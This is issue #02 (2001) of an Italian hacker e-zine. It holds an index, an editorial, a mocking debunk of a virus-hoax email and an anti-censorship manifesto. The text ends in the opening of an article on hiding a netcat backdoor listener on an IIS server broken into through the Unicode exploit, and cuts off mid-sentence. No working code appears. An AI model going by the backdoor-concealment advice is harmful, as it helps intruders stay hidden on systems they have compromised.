___ ___ ____ ___ /\ \ /\__\ /\ \ /\ \ /00\ \ /NN| | /DD\ \ /AA\ \ /0/\0\ \ /N|N| | /D/\D\ \ /A/\A\ \ /0/ /\0\ \ /N/|N| |__ /D/ /\D\___\ /A/_/\A\ \ /0/ / /0|--|/N/ |N| /\__\ /D/_/ \D| | /AA\ \ \A\__\ /0/_/ /0/ / \/__|N|/N/ / \D\ \ |D| |/A/\A\ \/A/ / \0\ \/0/ / |N/N/ / \D\ \ |D| |\/_/\A\/A/ / \0\ /0/ / |NN/ / \D\ \|D| | \AA/ / \000/ / /N/ / \D\/DD|__| /A/ / \0/__/ \/__/ \DDD/__/ /A/__/ ___ ___ ___ ___ ___ /\ \ ___ /\ \ /\ \ /\ \ /\ \ /QQ\ \ /\__\ /AA\ \ /DD\ \ /RR\ \ /AA\ \ /Q/\Q\ \ /U/ / /A/\A\ \ /D/\D\ \ /R/\R\ \ /A/\A\ \ /Q/ /\Q\ \ /U/ / ___ /A/_/\A\ \ /D/ /\D\ _\ /R/ /\R\ \ /A/_/\A\ \ /Q/ / \Q|--| /U/ / /\__\ /AA\ \ \A\__\ /D/_/ \D| | /R/ / \R\__\ /AA\ \ \A\__\ /Q/_/ /Q/ / /U/_/ /U/ //A/\A\ \/A/ / \D\ \ |D| |/R/ / __|R| //A/\A\ \/A/ / \Q\ \ /Q/ / \U\ \ /U/ / \/_/\A\/A/ / \D\ \ |D| |\/ / |RRR/__/ \/ /\A\/A/ / \Q\_/Q/ / \U\_/U/ / \AA/ / \D\ \/D| | \/ |R| | \/ \AA/ / \QQQ/__/ \UUU/ / /A/ / \D\/DD|__| |R| | /A/ / \QQ| | \U/__/ /A/__/ \DDD/__/ |R|_| /A/__/ |Q|__| +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ STAMPA CLANDESTiNA #02 - 18/06/2001 | +-------------------------------------------------------------------------------+ | Tutto nel ciberspazio | | E' scandito dalla squarewave | | Dei micro-processori | | Il clock dei micro | | E' come | | Un battito cardiaco | | Elettronico... | +-------------------------------------------------------------------------------+ | ondaquadra.cjb.net ~ www.hackerzine.org ~ www.bismark.it | | mail@ondaquadra.cjb.net ~ articoli@ondaquadra.cjb.net | +-------------------------------------------------------------------------------+ <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | COSTITUZIONE DELLA REPUBBLICA ITALIANA | | Diritti e doveri dei cittadini: Rapporti civili | | | | Art.21 - Tutti hanno diritto di manifestare liberamene il proprio pensiero | | con la parola, lo scritto e ogni altro mezzo di diffusione. [...] | +-------------------------------------------------------------------------------+ <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | INDICE | +-------------------------------------------------------------------------------+ | [L0GiN] | | 0x01 iNTR0 AL NUMER0 02 .........................................[oq ~ staff] | | 0x02 iPSE DiXiT ................................................ [oq ~ staff] | | 0x03 ME L0 HA DETT0 Mi0 CUGGGiN0 ............................... [oq ~ staff] | +-------------------------------------------------------------------------------+ | [LA RiF0RMA] | | 0x04 LA GRANDE SFiDA ALL'HACKiNG ............................ [Martin Lutero] | +-------------------------------------------------------------------------------+ | [HACKiNG] | | 0x05 TELNET iNVERS0 .................................................. [E4zy] | | 0x06 METTiAM0 NETCAT NELL'0MBRA .................................. [Tdi110cv] | | 0x07 NT HACKiNG ................................................. [Tritemius] | | 0x08 VULNERABiLiTA' Di iiS ............................... [MightyInquisitor] | | 0x09 HACKiNG4DUMMiS: SE L0 C0N0SCi L0 EViTi [...] ................ [Tdi110cv] | | 0x0A MET0Di Di ESECUZi0NE AUT0MATiCA ................................. [E4zy] | | 0x0B AUT0RUN ......................................................... [E4zy] | | 0x0C SCANNiAM SCANNiAM0 CHE W2K L0 Vi0LiAM0 ...................... [Tdo110cv] | | 0x0D iP SP00FiNG ............................................. [DarkAngel999] | +-------------------------------------------------------------------------------+ | [NETW0RKiNG] | | 0x0E USARE WiNGATE ................................................ [Weisses] | | 0x0F NETW0RK ANALYZER ........................................ [DarkAngel999] | +-------------------------------------------------------------------------------+ | [LiNUX] | | 0x10 UN SALUT0 AL N0STR0 xyzzy ................................... [Tdi110cv] | | 0x11 ANALiSi Di UN ATTACC0 .......................................... [xyzzy] | +-------------------------------------------------------------------------------+ | [C0DiNG] | | 0x12 C0RS0 Di C (1) ................................................ [JEYoNE] | | 0x13 INTR0 ALLE MACR0 (3/4) ........................................ [Mastro] | | 0x14 C0DiNG4DUMMiES: EXCEL: USiAM0 i F0RM ........................... [Mysha] | +-------------------------------------------------------------------------------+ | [TWiLiGHT Z0NE] | | 0x15 CAS0 M0NGUZZi: DEPiSTAGGi E C0VER-UP ................. [Alfredo Lissoni] | +-------------------------------------------------------------------------------+ | [MiSC] | | 0x16 REGSNAP ....................................................... [JEYoNE] | | 0x17 CARNiV0RE DiAGN0STiC T00L ................................ [Screener_it] | | 0x18 PiRATERiA ViDE0 / MUSiCALE ............................... [Screener_it] | | 0x19 0GGi Mi M0NT0 UN WEB SERVER SU WiND0WS ................... [Screener_it] | | 0x1A TRENiTALiA.C0M ? MA FiGURATi SE LE FS... ................. [Screener_it] | | 0x1B 2 SCHEDE ViDE0 SUL PC .......................................... [Bartx] | | 0x1C Gi0RDAN0 BRUN0 ? ESSENZA DEL R0CK'N'R0LL ................ [Stefano Bisi] | | 0x1D R0SS0, VERDE, ViDA ...................................... [Stefano Bisi] | | 0x1E Mi0 CUGGGiN0 C0LPiSCE ANC0RA ................................. [Weisses] | | 0x1F Si FECE iN QUEL DELLA LUPA .................................. [Tdi110cv] | +-------------------------------------------------------------------------------+ | [L'APPRENDiSTA STREG0NE] | | 0x20 PARAPiNZ PRJ .................................................. [Lesion] | | 0x21 PR0GRAMMAZi0NE ViRALE iN C ...................................... [E4zy] | | 0x22 Gi0CARE C0N i FiLE iN VB: CiF EDiT0R ......................... [mantis_] | | 0x23 WiNUNiX .................................................. [Screener_it] | +-------------------------------------------------------------------------------+ | [SHUTD0WN] | | 0x24 MA DAVVER0 Ci SERV0N0 CPU SEMPRE PiU' VELOCi ? ........... [Screener_it] | +-------------------------------------------------------------------------------+ | [C0NTATTi] | | 0x25 D0VE TR0VARCi ............................................. [oq ~ staff] | +-------------------------------------------------------------------------------+ | [ALLEGATi] | | 0x01 CiF EDiT0R (S0RGENTi) ........................................ [mantis_] | | 0x02 WiNUNiX (S0RGENTi) ....................................... [Screener_it] | +-------------------------------------------------------------------------------+ <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [L0GiN] #02 - 18/06/2001 | | EDiT0RiALE [oq ~ staff] 0x01/0x25 | +-------------------------------------------------------------------------------+ Ciao belli, questa volta oltre al solito articolozzo volevo soffermarmi su alcune cose. Siamo giunti al numero 02 della nostra rivista, a quanto pare le cose vanno a gonfie vele, le visite non mancano,come non mancano gli articoli, chi piu' chi meno scrive roba interessante, questo e' un ottimo aiuto per tutti, novellini ed esperti, non si smette mai di imparare! In questi mesi ho visto ampliarsi quello che all' inizio era un gruppo di amici virtuali che bazzicavano fra I vari canali di irc, abbiamo messo su un nostro chan (hackmaniaci), ricordo ancora i tempi in cui eravamo i soliti 5/6! Ora abbiamo due chan: #hackmaniaci ed #ondaquadra ovviamente, il numero degli utenti e' parecchio salito rispetto ai vecchi 5/6 :) , altri amici si sono aggregati ed hanno iniziato collaborare, e' nato anche un rapporto di collaborazione con gli amici di #crack-it. Nello stesso periodo ho avuto modo di conoscere gente che e' entrata silenziosamente, alle prime armi a chiedere consigli, ad esultare per essere riusciti a crackare winzip ed oggi li ritrovo che smanettano alla grande e si buttano sul satellitare. Abbiamo anche avuto modo di conoscerci personalmente facendo cadere anche quel muro che ci dava quella "virtualita' ", che dire, sono molto soddisfatto di tutto e di tutti, compreso Tdi e le sue barzellette (mitiche). Nel prossimo numero avremo un nuovo membro che gli amici di #crack-it ben conoscono alias MR CODE o Mr Coso per gli intimi! Complimenti a tutti, avanti così! vi lascio con una cavolata degna di TDI: TRADUCENDO IN ITALIANO LA SEGUENTE FRASE COSA CAPITE? "WHAT GOD TAXI DRIVER" VE LO DICO IO: "CHE DIO T'ASSISTA" :D buona lettura a tutti. ___________wei§§e§__________ +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [L0GiN] #02 - 18/06/2001 | | iPSE DiXiT [oq ~ staff] 0x02/0x25 | +-------------------------------------------------------------------------------+ "Una sera stavo navigando su Internet, ero in un sito. E' entrato un hacker e mi ha sporcato tutto" (Giuliano Amato, ex Presidente del Consiglio) +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [L0GiN] #02 - 18/06/2001 | | ME L0 HA DETT0 Mi0 CUGGGiN0 [Tdi110cv] 0x03/0x25 | +-------------------------------------------------------------------------------+ Ho scritto questo articoletto semplice semplice , per cercare di far capire che anche dalla mail piu' stupida del mondo , si possa comunque imparare qualche cosa ! Infatti qualche giorno fa mi viene recapitata nella mia casella di posta elettronica una mail che mi metteva in guardia da una consorella , contenente un particolare allegato , dagli effetti disastrosi !!! Di sotto vi ho inserito la mail e anche un mio commento ! Alla fine della stessa cercheremo di trarne varie conclusioni , certamente sempre dal punto di vista di un hacker ! >Se ricevete una mail intitolata "I'M YOUR SHADOW! PLEASE PLEASE >DON'T >FORGET >ME" non apritela assolutamente! >Contiene allegato un eseguibile che si auto attiva all'apertura >della mail e si >inserisce nel computer senza che l'utente si accorga di nulla, >poiche non >viene visualizzata nessuna finestra, messaggi o altro. Che si attiva automaticamente ? Cazzo ma chi e' questo genio che riesce ad inviare un qualsiasi eseguibile che si autoattiva ? Se fosse un eseguibile , si esegue solo se siete voi a farlo !!!! E poi ... si inserisce nel computer ! Ma che razza di linguaggio usano questi che scrivono la mail ? Si inserisce ... si inserisce , an certo ! L'ho letto pure io che potrebbe succedere che un allegato si inserisce nel computer , si sul manuale delle giovani marmotte ! Poi se proprio vogliamo essere pignoli , ci sarebbe da chiedersi perchè vengo avvisato di non aprire l'allegato se lo stesso dovrebbe danneggiarmi automaticamente ?! Baa ! >Questo programma consente a chiunque di controllare il proprio >computer, >sfruttando un pericolosissimo bug caratteristico di quasi tutti >iprogrammi >di chat e sconosciuto da molti, a volte persino dagli autori del >programma. >Ha infatti un bug dipendente da un file del sistema operativo che >gestisce >tutte le comunicazioni attraverso internet (anche le reti intranet >locali). >Il virus ha al suo interno alcune delle funzioni usate dagli >hacker per >penetrare nei siti Web e dai pedofili x anonimizzarsi su internet. Non a caso per modificare un sito , l'unica cosa da fare e: Accedere all'ftp del server su cui e' hostato il sito ! Il punto e' che per accedere a qualsiasi server , i modi sono 4 !!!! O buchi il server , ti crei un account superuser e fai quel cazzo che vuoi , vai di brute force , sfrutti dei bug presenti nel server , oppure cerchi di installare dei trojan !! >Chiunque si colleghi al programma virus potrà penetrare in siti >Web o >scaricare o creare materiale pedofilo utilizzando il tuo computer. Questo potrebbe essere , pero' se io avessi un Firewall che filtra e logga tutti i tentativi di connessione indirizzati al mio host , che succederebbe ? Be' in questo caso potete attaccarvi al cazzo ! >In questo caso il colpevole rilevato saresti tu (un bel piffero , >io avrei >il tuo log con tutti i tuoi cari comandini) , perchè i comandi ai >siti >Web o lo scaricamento delle fotografie avviene tramite il tuo >computer e >tramite il tuo collegamento internet. Carissimi , se qualcuno si meraviglia di stronzate del genere , vuol dire che non vi siete mai occupati di sicurezza informatica ! E' possibile utilizzare un computer altrui per passare dati , informazioni , foto e quant'altro , o piu' comunemente per accedere anonimamente ad un server su cui fare le proprie malefatte ! In gergo si chiama BOUNCE ! Lo si puo' fare tramite FTP , SOCKS , WINGATE , tramite SHELL , e come potrebbe essere in questo caso tramite un nuovo tipo di TROJAN ! Ai tempi lo si faceva anche con il buon Back Orifize , CHE BEI TEMPI EH ?! Oggi chissa' ... vedremo sta' genialata ! >Si sono già verificati casi di persone accusate di atti di >pedofilia che >invece non ne avevano nulla a che fare, solamente erano state >vittime del >virus. In Italia e' impossibilie ! Con la velocita' della burocrazia Italiana , almeno almeno il virus avrebbe dovuto colpire chissa' quanti anni addietro :PP ! E cmq , credete di poter essere accusati di pedofilia cosi' facilmente ? L'ip non e' mai stata una prova , neache l'host , sono 2 strumenti per iniziare una indagine , ma se nient'altro puo' aggravare la vostra situazione , vedi la detenzione di materiale o comportamenti strani , nessuno potra' mai accusarvi ! ***************************************************************************** * ED ORA COMINCIANO LE VERE STRONZATE !!!! ***************************************************************************** >Inoltre il programma è predisposto per utilizzare il tuo modem per >collegarsi a provider internazionali, facendo salire enormemente la >bolletta >del telefono. Provider internazionali ? Ma se io sto scaricando la cosidetta mail , come fa il modem ad aprire una ennesima connessione verso questi fantomatici provider ? >Cio avviene nello stesso istante nel quale il tuo programma riceve >l'email, >anche senza aprirla. Il virus non viene rilevato da nessun >antivirus e non >c'è rimedio per ora. Non c'è rimedio ? Anche esistesse una cosa di questo genere , potreste monitorare il tutto con il firewall di cui vi parlavo prima oppure con il buon Netstat. WWW.DOWNLOAD.COM e cercate Conseal Firewall , o AT-GUARD , essi vi mostreranno , se settati correttamente , tutti i tipi di pacchetti ICMP UDP ARP RARP in uscita e ovviamente anche in ingresso dal vostro modem ! Percui potreste Percui potreste tranquillamente monitorare ogni connessione effettuata dal vostro PC , oltre che tenere storia di tutti i movimenti che fate , o come vi vogliono far credere che vi fanno fare , nel WEB ! >La formattazione dell'hard disk non risolve il problema, infatti >il virus >si >insedia anche nella memoria flash bios della scheda madre e ad ogni >tentativo di formattazione di essa si sposta in memoria RAM e in >hard disk >e >viceversa. Cazzo , ma questo virus fa anche le patatine fritte ? Cmq questa info potrebbe essere un po' piu' veritiera , esiste infatti una famiglia di Virus che danneggiano il Bios. >L'unica soluzione è la sostituzione della flash bios e la >formattazione >base >dell'hard disk, previa disinstallazione della RAM per successiva >reinstallazione. >Se ricevete l'email non potete fare nulla. Significa che siete già >stati >collegati ad un provider internazionale. Che centra la RAM ? NESSUNO MAI VI HA SPIEGATO CHE LA RAM E' UNA MEMORIA VOLATILE ? E non vuol dire che migra o prende il volo ! Vuol dire semplicemente che allo spegnimento della macchina tutte le info in essa contenute saranno perse !!! Questa poi ... ma nessuno si rende conto di quali cazzate siano queste ? >L'unica cosa che potete fare è disconnettervi, spegnere modem e >computer e >scollegarlo dalla rete elettrica. In caso di riaccensione il >programma >ricollegherebbe automaticamente il modem al provider. Certo ! ma ricordatevi di togliere anche la presa al 220 !!!!! altrimenti vi accendono il PC a distanza ! >cosa peggiore è che il telefono rimarrà libero durante questa >operazione,rendendo impossibile l'individuazione del provider >chiamato. AHAHAHAHAHAHAHA !!!! Impossibile l'individuazione del provider ? Cazzo , ma come fa quindi Telecom a sapere che importo fatturarci se nessuno puo' individuare a chi e' stata effettuata la chiamata ? Immaginate poi chi si aspetta di ricevere il dettaglio delle chiamate ! Si trova un importo enorme verso un numero non identificato ! Forse bisognerebbe ficcare nella testa di questo stronzo che ha scritto sta stronzata di mail qualche nozione su come avviene la comunicazione mediante telefonia FISSA ! Poi per carita' , io spero che possa esistere una cosa del genere , vuol dire che siamo a 2 passi dal telefonare a frodo ! E Tu pensa che al mondo ci sono degli stronzi che pagano la ISDN solo per avere una linea in piu' sempre libera ! (chissa' chi puo' essere). Be' allora ... sappiate che la connessione e' una e solo unaaaaaaaaaaaaaaaaaaaa !!! >Se ricevete questa mail spegnete computer e modem e contattate un >tecnico >che sostituisca la flash ROM del bios. Che probabilmente e' lo stesso stronzo che ha questo advise ! >Le operazione vanno eseguite in quest'ordine: scollegamento >dell'hard disk, >montaggio della nuova flash bios, formattazione dell'hard disk su >un altro >computer, rimontaggio dell'hard disk. Per le chiamate al provider >internazionale non c'è nulla da fare. Ormai i costi saranno >addebitati. > CAZZO IO VOGLIO IL DETTAGLIO DELLE TELEFONATE !!!! >Queste sono le tariffe di un collegamento internazionale: 3000 >scatto >risposta, 2560 lire al minuto per i primi 3 minuti, 5000 dopo i >primi 3 >minuti. >Durante lo scaricamento della mail vengono eseguite circa 500 >connessioni, >e >x ognuna uno scatto alla risposta. Si si e' confermato ... che pensavate ? una connessione TCP/IP ? No carissimi si parla proprio di connessione telefonica altrimenti come salirebbero gli scatti ? Complimenti vorrei conoscere il pericoloso hacker che ha fatto questa cosuccia , potrebbe tornarmi molto comoda !! >Questa informazione è stata passata da Microsoft. E secondo voi Microshitt , parla di allegati che si inseriscono nel computer ? Vabbè che alla Microsoft probabilmente lavorano ex FS , o ex omini Telecom , ma scrivere mail con un linguaggio cosi' da poppanti ... (BADATE BENE ... senza nulla togliere ai dipendenti FS o Telecom , conosciuti come gran lavoratori e professionalmente molto preparati ! Appropsito , vedete che l'ultimo stronzo TELECOZMAN che mi ha installato la borchia in casa o ha combinato qualche casino o mi ha montato una borchia di merda ! non mi va piu' la seconda linea ! Volete o no venire a mettermela apposto ?) >Diffondetela immediatamente a tutte le persone che conoscete, >anche perchè >il virus >si auto trasmette a tutte le persone che avete nei contatti,quindi >se avete >ricevuto >l'email anche loro sicuramente ce l'hanno. Questo potrebbe darsi , anche i love you si replicava tra tutti i contatti ! >L'importante è di avvisare le persone che si collegano molto a >internet,poiché vengono >eseguite 500 connessioni al secondo per ogni connessione a >internet che si >fa. E' evidente che il programmatore del Virus preferiva il numero 500 ! Cacchio sto virus fa 500 connessioni al secondo (mi par di capire ora TCP/IP) , fa pure 500 connessioni telefoniche con i provider del mondo nel breve tempo di scaricamento della mail ! COMPLIMENTI !!!! Pero' com'è che io faccio fatica a stabilirne una ? Forse pero' da quando hanno sostituito le linee analogiche in linee ultraveloci ... Magia di telecom italia ! GRAZIE ! E poi la gente si lamenta DELLE 39.000 DEL CANONE !!!! Lesinate gente ... lesinate ! ... approposito , ma io che possiedo due linee , quante connessioni eseguiro' al secondo ? 1000 ?!?!?! E se crescessero esponenzialmente ? >Quindi in un ora si spenderebbero anziché le 2000 lire della tariffa >urbana, >le 360.000 >della tariffa internazionale. 2000 ALL'ORA ? Cazzo corro subito ad abbonarmi a WIND !!!!! Mo' son cazzi allora ! >Siete pregati di avvisarle quindi. Avvisa tua madre che quella sera non aveva null'altro da fare che concepirti , e il tuo tecnico , perchè la gente comune non dovrebbe temere queste cazzate ! Sono solo cazzate che Microsoft NON PUO' AVER SCRITTO , almeno non in questo modo ! Magari Microsoft ha scritto qualcosa , e chissa' chi ci ha messo tante altre cazzate ! Sapete le notizie nascono in un modo per essere divulgate tali , ma se qualcuno le modifica ... nascono delle stronzate simili ! _______________________________________________________________________________________________________ Carissimi cercate di trarre tutte le considerazioni che volete , ma sappiate che se non fossero esistiti gli hacker (persone che si interessano di sicurezza informatica ) saremo ancora ai tempi in cui bastava scrivere LOGIN : PIPPO e ci si trovava con una shell di ROOT in mano !!!!! La sicurezza e' cresciuta grazie a tali persone , purtroppo assieme ad essa e' cresciuta anche la paura nei confronti di queste persone che mai danneggerebbero nessuno ! Questo solo a causa di qualche cretino che usa le proprie capacita' per danneggiare il prossimo , e grazie ai media che amplificano le notizie secondo i propri porci comodi !!! Da questo mio modesto commento , avete capito che qualche informazione potrebbe essere veritiera , e qualche altra no ! La domanda che quindi io vi faccio e' : Secondo Voi Microsoft potrebbe aver scritto simili cazzate ? Un ciao il Vostro TDI (WWW.ONDAQUADRA.CJB.NET) IRC.AZZURRA.IT #HACKMANIACI Se vuoi un indirizzo di posta elettronica gratuito, iscriviti a http://www.kaSTRAmail.com ------ FINE DELLE CONSIDERAZIONI !!!!!! Bene terminate le mie modeste considerazioni al pirla che mi ha inviato questa e-mail , vorrei che tutti vi soffermaste a riflettere su tutto quello che avete letto ! Quanto di questa mail puo' essere veritiero ? Ben poco ! Daccordo ! Rispolverando vecchie info che avevo letto da qualche parte nel web , mi e' saltato in mente che un famoso Virus dagli effetti molto poco dannosi era in grado di portare a termine il suo compito senza che la vittima lanciasse nessun allegato ! Ora non ho avuto modo di riceverlo , e sinceramente non credo che mai lo vedro' , ma e' assurdo pensare che un eseguibile , sempre che si parli di eseguibile , si possa cosi' attivare per i cacchi suoi ! Inoltre , se io lo ricevessi su un indirizzo di posta sul web , tipo iname , yahoo o roba simile , che succederebbe ? Yahho si troverebbe collegato con il resto dei Provider del mondo ? Ma dai non prendiamoci per il culo ! Microsoft mai potrebbe sputtanarsi affermando certe cacate simili ! Vabbè ok ! La Microsoft si sputtana tutti i giorni direte voi ! Si certo , ma lo fa in maniera piu' elegante proponendo magari una nuova versione di IIS !! (approposito , TRITEMIUS lo scrivi o no sto : ' HOW TO FOTTER IIS4 e 5 WITH UNICODE EXPLOIT ' ?) Mica si mette a sparare cagate simili ! E' evidente che qualcuno ha ricevuto una mail in cui si diceva di stare attenti ad un nuovo Virus , e ha pensato bene di metterci anche del suo. Evidentemente questa o queste persone non hanno molta famigliarità ne su come avvengono sia le comunicazioni telefoniche via modem o telefono che sia , ne su come ci si possa difendere da un tal problema , sempre ammesso che esista ! Certo e' che con l'andare avanti della tecnologia e dell'informazione , in pochi anni si e' passati dal buon vecchio e anche simpatico Virus Pallina , a quello che sembra essere stato il Virus di fine secolo ! Il bel'I love you' ! Percui e' lecito pensare che tra qualche anno si passera' a Virus sempre piu' potenti e sempre piu' dannosi ! Ma affermare che al giorno d'oggi esiste gia un virus in grado di comunicare tramite modem , aprire centinaia di connessioni contemporaneamente , per'altro lasciando libera la linea , mi sembra veramente troppo ! Caxxo non dico che sia impossibile ! Teoricamente , e anche praticamente , e' possibilissimo creare un trojan in grado di effettuare connessioni telefoniche con il mondo. Ma cazzo solo una ad una ! Sostenere di poterne aprire 500 in un secondo , e' proprio follia pura ! Non si farebbe neanche tempo a stabilire la comunicazione ! Figuriamoci poi con dei modem analogici ! A questo punto non resta altro che battere le mani a questi raccontastorie e concludere che di bacati nel web non ci sono solo i server , ma anche le le teste di questi cazzoni che non hanno un cazzo da fare tutto il giorno se non inventare stronzate simili ! * * * * * * P.S Non finiro' mai di raccomandarvelo ... Togliete la spina dalla rete 220V. ... Altrimenti rischierete di farvi accendere il PC a distanza ! <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [LA RiF0RMA] #02 - 18/06/2001 | | LA GRANDE SFiDA ALL'HACKiNG ....................... [Martin Lutero] 0x04/0x25 | +-------------------------------------------------------------------------------+ La nuova legge sull'editoria rappresenta un ulteriore buon motivo per la comunità hacker italiana di prendere consapevolezza del proprio ruolo storico oggi. E' un altro pezzo di normativa liberticida pensato dalle corporazioni nate nel corso del Fascismo e maturate nel dopoguerra, come l'Ordine dei giornalisti. Una legge che va ad impattare sulle attività che sulla rete svolge qualsiasi italiano (e non solo). Ma soprattutto è un ulteriore mattone che inspessisce il muro di ostilità con cui la classe dirigente di questo paese si isola dalla realtà del mondo elettronico e dall'afflato *liberatorio* di internet. Il tentato suicidio della normativa sui domini, evitato per un soffio dallo scioglimento delle Camere, la lunga operazione lobbystica anti-provider, che ha rinsaldato i grandi a spese dei piccoli, l'approvazione pressoché unanime della legge sull'editoria: sono tutte componenti di un unico atteggiamento che oscilla tra ignoranza e supponenza. Con in più la beffa che la classe politica si autopremia e si autoassolve con tanto maggiore volgarità quanto più plateale è l'errore commesso. Tutto questo impone al mondo dell'hacking l'assunzione di nuove e maggiori responsabilità che vanno ben al di là dei confini entro i quali qualcuno ha voluto troppo spesso delimitare l'hacking stesso. La strada alla libertà digitale, elemento centrale dell'essere hacker, non costituisce soltanto l'obiettivo di un "personale" e di un "sociale" migliore ma anche l'unica via percorribile per far sì che la rivoluzione internet giunga a compimento nelle sue conseguenze macroscopiche. La circolazione delle informazioni e delle opinioni veloce, libera, con schemi random e imprendibili, soprattutto incontrollabile, è una vittoria che dev'essere ancora conquistata. Chi la chiama Utopia non ha compreso quali sono le conseguenze di una umanità che possa incontrarsi liberamente nel ciberspazio. Oggi la rete non è assediata solo dall'ignoranza di un Legislatore cieco ma anche da Forze dell'Ordine sempre più specializzate nel contrastare il crimine online e sempre meno critiche nei confronti degli abusi che contro la rete si commettono. Abusi ben più gravi, perché compromettono il libero sviluppo della società elettronica. E danneggiano, dunque, tutti. La Controriforma reazionaria trae dall'ignoranza fiumi di linfa vitale e il suo cammino è già iniziato. E non ci si sarebbe potuto aspettare alcunché di diverso. Da migliaia di anni la società umana si evolve nella varietà delle sue composizioni e tradizioni seguendo un unico leit-motiv, quello del controllo della cultura e dell'informazione come fonte di potere. Sono i pochi a decidere per tutti e le applicazioni di Democrazia che fin qui abbiamo visto non hanno fatto altro che complicare le cose, consentendo allo stesso tempo, però, un controllo senza precedenti persino sulla formazione delle opinioni dell'individuo, cioè sulle fondamenta della propria personalità. Praticamente uno stupro. Nelle sue potenzialità internet può bucare gli opprimenti bastioni della Controriforma e creare una orizzontalità democratica del tutto inedita sul pianeta. Ma oggi, e dobbiamo esserne consapevoli senza incertezze, la via è già stata sbarrata. E lo dico perché è facile constatarlo e perché si può partire solo se se ne è coonsapevoli. Chiunque non sia un bravo hacker non ha possibilità di rendersi davvero anonimo quando si trova in rete, non ha una vera possibilità di sfuggire a schedature elettroniche connaturate agli attuali protocolli di comunicazione online. Schedature che diventano strumento fertile di caccia e repressione per la Controriforma. L'uso sempre crescente di moneta elettronica, documenti elettronici e via dicendo sta creando le condizioni per dare alla Controriforma strumenti così potenti da sopprimere sul lungo termine il suo nemico per eccellenza persino su internet: la libera circolazione delle informazioni. Oggi "professare liberamente la propria opinione è scavare la propria fossa", parafrasando Sinead O'Connor. Perché ci sono opinioni tollerate in rete o fuori ma ce ne sono altre, molte altre, che se espresse ti mettono invariabilmente nei guai. E molti di noi hanno già sperimentato sulla propria pelle cosa significa dimostrare pubblicamente la propria indipendenza di pensiero e rivendicarla con la forza della propria vitalità. Per questo oggi gli hacker assumono un ruolo centrale. L'hacker che fa della tecnologia il proprio pane ha il dovere, se intende continuare a definirsi tale, di prendere il toro per le corna e stimolare, con il proprio lavoro, la riuscita di progetti la cui portata è epocale, come Freenet. Il lavoro dell'hacker della tecnologia oggi è costruire l'infrastruttura che renderà gli uomini liberi. E' un'opportunità per assumersi responsabilità storiche che non possono più essere eluse, pena il fallimento dell'hacking e del suo più intimo significato: la libertà di crescere, vivere e pensare in indipendenza. Ma devono darsi da fare anche gli altri hacker, quelli che hackano il sistema del potere e quello dell'informazione con lo scritto e con gli altri mezzi, con la cultura dell'idea e del senso critico. Loro hanno il compito di nutrire l'incedere della Riforma. Un compito arduo, perché non si può limitare a difendere l'idea ma deve anche prendere il centro del campo spazzando via chi lo ha occupato abusivamente a danno di tutti noi. Lottare oggi contro la legge sull'editoria fa parte di tutto questo e significa dare manforte a chi investiga la comunicazione e la rete per trasformarla in un terreno di libertà vera, perché fondata sulla responsabilità dell'individuo e non sul controllo delle sue idee. Un tempo Martin Lutero scrisse le proprie opinioni la cui indipendenza era tale da aver scosso le fondamenta del Potere del suo tempo. Noi oggi partiamo in condizioni migliori, perché Martin è già esistito e perché abbiamo una tecnologia, Internet, che ha trasformato un'Utopia in una speranza. Buona fortuna a tutti. Martin Lutero martinlutero@deandreis.it <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 | | METTiAM0 NETCAT NELL'0MBRA ............................. [Tdi110cv] 0x05/0x25 | +-------------------------------------------------------------------------------+ Bene tralasciando il fatto che da qualche tempo , a forza di parlare di shell e ip , ci stanno scambiando per benzinai vorrei oggi rendervi partecipi di una piccola ideuzza per mantenere un pochino piu' a lungo quello che si ottiene utilizzando il NETCAT. Premetto che questo articoletto e' frutto di un lungo tartassamento di maroni effettuato ai danni di Tritemius in queste ultime settimane. Si si ! ammetto che l'argomento riguardava il famoso unicode di IIS. No non staro' qui a spiegarvi l'unicode exploit , non voglio portare via il lavoro al TRIT che in questi ultimi periodi l'ha perfezionato al meglio e si sta spremendo per terminare un NT hacking book ! Sono qui per suggerirvi come rendere utilizzabile il piu' a lungo possibile il buon Netcat , fido compagno di viaggi di quell'unicode exploit. Certo ... lo dico io perchè il TRIT non lo sa !!! :PPPPP Cazzo starete pensando a quale genialata ho messo in piedi ! Ebbene si ! ma che cazzo dico , da un mentecatto come me' al quale il buon Trit ha impiegato 6 mesi per farme capire alcune cosucce cosa puo' saltar fuori ? Semplicemente il tutto e' scaturito a seguito di una affermazione di un personaggio che mi disse che le porte su cui far lavorare il Netcat erano ovviamente dalla 1 alla 65535 (in effetti esisterebbero solo quelle) Ovviamente perchè 65535 sono quelle assegnate dalla IANA ! (questo l'ha detto PHOBOS !!! se sono cazzate cazzi tuoi). In teoria e' cosi' , ma in pratica le cose sono ben differenti ! Come Sysadm , a seguito di un intrusione da parte di ignoti , la prima cosa che mi verrebbe da fare e' prendere un buon portscanner , vedi NMAP o robaccia simile , e effettuare uno scan del sistema ! Bene verificato che nessuna nuova porta sia stata messa in listening , farei una verifica di tutti i servizi attivi presenti sulla mia macchina ! Ok ! qui sta il punto ! Diamo per scontato che se una macchina IIS riuschite a bucarla con il metodo suscritto dell'unicode , vorra' dire che anche chi l'amministra non e' il massimo della preparazione. A questo punto ... per evitare di farsi sgamare la porta lasciata in listening dal nostro netcat , potremo assegnare una porta 